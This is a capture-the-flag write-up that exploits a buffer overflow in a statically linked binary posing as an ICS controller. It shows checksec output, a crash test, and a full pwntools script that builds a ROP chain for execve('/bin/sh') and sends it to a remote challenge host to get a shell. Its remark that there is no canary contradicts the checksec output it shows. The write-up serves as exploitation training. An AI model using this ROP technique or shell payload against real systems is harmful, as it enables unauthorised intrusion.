Starting with file and checksec commnads, we see that we have a statically linked binary with all protections except PIE turned on.
[d@d-20xxx10100 challenge]$ file power_greed
power_greed: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=0b1f10b9e9720538e9c4a290c03cb9fe87a03401, for GNU/Linux 3.2.0, not stripped
[d@d-20xxx10100 challenge]$ pwn checksec --file=./power_greed
[*] '/home/d/Downloads/htb25/challenge/power_greed'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
We can trigger a buffer overflow, and it looks like there is no canary.
[d@d-20xxx10100 challenge]$ ./power_greed
+----------------------------------------------------------+
| Volnaya ICS Controller v1.7 Beta [–] [x]|
+----------------------------------------------------------+
| Status: [ONLINE] |
| Uptime: [47d 07h 16m] |
+----------------------------------------------------------+
| 1. Diagnostics Center |
| 2. Log Console |
| 3. Exit |
+----------------------------------------------------------+
ics@shell> 1
+------------------------------+
| Diagnostics Center |
+------------------------------+
| 1. Vulnerability scan. |
| 2. Firmware update. |
| 3. Change grids. |
+------------------------------+
ics@shell> 1
[INFO] Scanning for vulnerabilities...
[**************************************************] 100%
[SUCCESS] Done!
+-------------------------------+
| Scanning Results |
+-------------------------------+
| File: power_greed |
| Arch: amd64 |
| RELRO: Partial RELRO |
| Stack: Canary found |
| NX: NX enabled |
| PIE: No PIE (0x400000) |
| SHSTK: Enabled |
| IBT: Enabled |
| Stripped: No |
+-------------------------------+
[WARNING]: There is a potential Buffer Overflow, but Canary is on.
Do you want to test that? (y/n): y
[SUCCESS] Buffer size: [0x20]
[INFO] Crash test the buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
Also we see the string /bin/sh
in the log console, which is very helpful to us.
+-----------------------------------------------------------+
| Log Console |
+-----------------------------------------------------------+
| [18:21:14] WARNING: Nmap scan performed. |
| [19:33:18] CRITICAL: Buffer Overflow triggered! |
| [19:33:29] WARNING: Tried to execute /bin/sh |
| [19:34:22] CRITICAL: Segmentation Fault, program crashed! |
+-----------------------------------------------------------+
+----------------------------------------------------------+
| Volnaya ICS Controller v1.7 Beta [–] [x]|
+----------------------------------------------------------+
| Status: [ONLINE] |
| Uptime: [47d 07h 16m] |
+----------------------------------------------------------+
| 1. Diagnostics Center |
| 2. Log Console |
| 3. Exit |
+----------------------------------------------------------+
ics@shell>
Now we just need to create a ropchain that will call execve("/bin/sh", 0, 0);
. I used ropper to find the necessary gadgets. See full solve script below.
from pwn import *
import time
context.log_level = "DEBUG"
binary = ELF("./power_greed")
binsh_addr = next(binary.search(b'/bin/sh'))
print(f"address of /bin/sh: {hex(binsh_addr)}")
pop_rax = 0x000000000042adab
pop_rsi_rbp = 0x000000000040c002
pop_rdi_rbp = 0x0000000000402bd8
syscall_ret = 0x0000000000412e96
ret_gag = 0x000000000040101a
pop_rdx_al_r12_rbp = 0x000000000047d564
target = remote("83.136.253.201", 45170)
target.sendline(b"1")
target.sendline(b"1")
time.sleep(5)
target.sendline(b"y")
time.sleep(2)
payload = b"A" * 56
payload += p64(pop_rdx_al_r12_rbp)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi_rbp)
payload += p64(binsh_addr)
payload += p64(0)
payload += p64(pop_rsi_rbp)
payload += p64(0)
payload += p64(0)
payload += p64(syscall_ret)
target.sendline(payload)
target.interactive()